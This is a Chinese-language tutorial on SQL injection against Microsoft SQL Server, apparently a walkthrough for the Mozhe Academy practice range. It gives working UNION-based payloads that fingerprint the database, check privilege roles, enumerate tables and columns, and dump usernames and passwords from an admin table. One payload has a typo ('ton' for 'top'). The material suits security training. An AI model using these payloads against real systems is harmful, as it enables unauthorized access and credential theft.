Mssql数据库
美国Microsoft公司推出的⼀种关系型数据库系统。SQLServer是⼀个可扩展的、⾼性能的、为分布式客户机/服务器 计算所设计的数据库管理系统,实现了与WindowsNT的有机结合,提供了基于事务的企业级信息管理系统⽅案。
其主要特点如下:
(1)⾼性能设计,可充分利⽤WindowsNT的优势
(2)系统管理先进,⽀持Windows图形化管理⼯具,⽀持本地和远程的系统管理和配置。
(3)强壮的事务处理功能,采⽤各种⽅法保证数据的完整性。
(4)⽀持对称多处理器结构、存储过程、ODBC,并具有⾃主的SQL语⾔。 SQLServer以其内置的数据复制功能、强⼤ 的管理⼯具、与Internet的紧密集成和开放的系统结构为⼴⼤的⽤户、开发⼈员和系统集成商提供了⼀个出众的数据库 平台。
Mssql数据库测试环境搭建
可以安装SQL Server 2008数据库
Mssql数据库的补充介绍
判断是否为Mssql数据库
and exists(select * from sysobjects) --
权限介绍
• sa权限:数据库操作,文件管理,命令执行,注册表读取等 system
• db权限:文件管理,数据库操作等 users-adminstrators
• public权限:数据库操作 guest-users
判断权限的语句
• and 1=(select is_srvrolemember('sysadmin')) //判断是否是系统管理员
• and 1=(select is_srvrolemember('db_owner')) //判断是否是库权限
• and 1=(select is_srvrolemember('public')) //判断是否为public权限
调用数据库的代码
<%
set conn =server.createobject("adodb.connection")
conn.open "provider=sqloledb;source=local;uid=sa;pwd=******;database=database-name"
%>
注入流程:
1.判断注入
'
and 1=1
and 1=2
2.字段长度
order by 数字 通过他的返回状况判断猜测的字段长度是否正确,若是错误会返回错误信息
3.寻找字符型显位
id=-2 union all select 1,2,3,4..
id=-2是为了让它报错
后面的1,2,3,4..应该先用null,null,null,null来测试,然后用'1',null,null,null null,'2',null,null 这样替换测试 如果测试结果有显位的话,说明该位置可以利用,该位置不变去猜下一个显位,这样我们就可以利用这几个显位来显示我们想要的数据,也就是把要查询的信息对应的语句放在我们找到的显位的位置
4.查询基本信息
1)@@version 获取版本信息;
2)db_name() 数据库名;
3)user,system_user,current_user,user_name 获取当前用户名;
4)@@SERVERNAME 获取有关服务器主机的信息。
5.查询表名
/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4 //查询第一张表的名字
/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),'3',4 //查询除去第一张表后的第一张表的名字,也就是第二张表的名字
/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage','announcement')),'3',4
6.获取列名
/new_list.asp?id=-2 union all select null,(select ton 1 col_name(object_id('manage'),1)from sysobjects),null,null //object_id('要查询的表的名字'),1 这个1代表第一列
/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null
/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null
/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),4) from sysobjects),null,null
7.获取数据
/new_list.asp?id=-2 union all select null,username,password,null from manage
ps:以上操作可在墨者学院靶场进行